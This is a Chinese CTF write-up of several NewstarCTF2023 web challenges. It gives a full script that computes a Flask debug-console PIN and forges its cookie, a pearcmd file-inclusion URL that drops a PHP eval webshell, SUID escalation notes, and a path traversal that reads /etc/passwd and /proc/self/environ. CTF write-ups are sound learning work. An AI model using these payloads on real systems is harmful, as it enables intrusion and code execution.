list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

/usr/local/lib/python3.10/dist-packages/flask/app.py

/sys/class/net/eth0/address
ea:77:05:58:af:2f->ea770558af2f->257796911705903

/proc/sys/kernel/random/boot_id
8cab9c97-85be-4fb4-9d17-29335d7b2b8a

/proc/self/cgroup
aaf831f68f4d63d20b2aa0cf361710787006861f59aff5c33aa21641dde24948

s
li0Abbstc8jO5ov16OhS

照着脚本倒是可以算了,但是因为是php的curl,所以只能用爬取数据,但是无论如何先用POST试一下把

POST也不行,我的username试了root和www-data来着,总不可能是username的问题把,感觉就是没法访问的问题((

瞪不出来,遂看题解,题解也当谜语人,有点绷不住,于是参考了z1d10t的题解

https://z1d10t.fun/post/dcc8a51b.html#WEEK5

原来是/proc/self/cgroup获取的内容和往常算pin码的题不一样,受教了,正确解如下

取第一行的最后一个斜杠/后面的所有字符串那么肯定是对的

然后由于console不出网,所以没法通过浏览器直接进入控制台,这个时候需要手算cookie,具体参考如下

https://unk.icu/2023/06/19/flask-pin/

无法直接进入控制台的情况下,对于发送验证pin码的请求有格式上的要求,最重要的就是s,然而这个是可以直接读的,好像还有个frm参数,但是好像是无所谓的(((如果需要直接访问报错页面在html源码里就能找到

格式大概如下

1
GET /?__debugger__=yes&cmd=pinauth&pin=xxx-xxx-xxx&s=prj74Iraob1k5eMHiH37

若auth成功,还会带一个cookie:

1
Set-Cookie: __wzdaba192b254d6aa653a27=1687143761|fd1c004c3dc3; HttpOnly; Path=/; SameSite=Strict

之后执行命令的请求,要带上面发过来的cookie,否则不执行命令:

1
2
GET /?&__debugger__=yes&cmd=print(1)&frm=140324285712640&s=prj74Iraob1k5eMHiH37
Cookie: __wzdaba192b254d6aa653a27

手算cookie的话,直接见全脚本吧(z1d10t佬的题解还可以用gopher发包读到set的cookie值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import hashlib
import time
from itertools import chain

probably_public_bits = [
'root' # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.10/dist-packages/flask/app.py' # 报错得到
]

private_bits = [
'16476878681546', # /sys/class/net/eth0/address 16进制转10进制
# machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
''
# /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

#hash_pin作为手算cookie的一部分
def hash_pin(pin: str) -> str: return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


print(rv)
#手算cookie的第二部分
print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")

用Postman发包好使(((复现成功了,注意传参不能有空格,也不是%20,而是%2B=’+’(加号-0_0-

————————————————————————————————————————————————————————————

4-复盘

文件一多我就寄,慌了神,其实这是一道很简单的联想题,但是我又被迷惑了双眼,审代码审的昏天黑地也没把握到本质,最后只能玉玉

玉玉之后就只能看题解,结果只是简单的文件包含,要调用pearcmd的话并不一定是include,像file_exist这样的也是同理的

就是要想到有装pearcmd这个插件有点难度,而且还是一句老话,用burp传((,直接在地址栏传也直接寄

1
/index.php?+config-create+/&page=/../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[1])?>+/var/www/html/1.php

多套几层../,套多了不会怎么样,套少了就读不到了(((,然后蚁剑连接SUID提权,比赛结束后靠经典命令就读不到了,原因未知

然后就是gzip提权,博客也就不引了,可以自己搜索一下

————————————————————————————————————————————————————————————

NextDrive

一道神秘题,主要看你有没有好奇心,我的好奇心自然是早就被磨灭了(,看到文件也不下载,只想着摆烂看题解了

(也有可能是最后一题的因素在把,想赶紧干完去搞别的了┭┮﹏┭┮

总之就是先随便注册一个账号,下载共享区里的test.res.http,然后呢你可以试着自己上传一个文件,发现它分两次请求,第一次只需要一个hash值和一个文件名就能完成,第二次才是真正的传输文件数据,然后就是考眼力的时候

test.res.http里面有一个请求没发送出去,(坑,名字叫做test.req.http,所以有理由推断我们可以伪造发送这个请求,然后就能直接拿到这个文件的数据(此点可以随便试着伪造一个共享区的文件上传,发现不需要第二次传输

拿到数据之后是admin的用户凭据,直接修改uid和token就能admin上号了,上号之后可以观察本地资源,可疑的就是share.js

一通审之后,发现有些函数调用的是hash_fn,有些调用的则是hash,而且path.resolve会强行忽略不重要的path路径名使之尽可能有效,那么我们就有理由实现一个目录穿越了,因为hash是hash_fn的前64位所以说64位以后的我们就能伪造成我们想要的路径了

可以测试一下../../../../etc/passwd或者也可以直接../../../../../proc/self/environ,记住得用linux的curl来发包,

windows的curl应该是不行的,bp没试过(有兴趣的可以尝试一下

然后读环境变量的话要加--out filename参数把读到的二进制文件保存在一个指定的文件里

————————————————————————————————————————————————————————————

至此我的NewstarCTF2023的征程算是告一段落了,有学到很多东西,我要是能牢牢记住的话应该会很不错,后三周题目质量对于我这样的初学者来说真的挺好的,感谢各位出题师傅,也感谢没有放弃的我自己^_^


NewstarCTF2023 Writeup
http://example.com/2023/12/06/NewstarCTF2023/
作者
Jednersaous
发布于
2023年12月6日
许可协议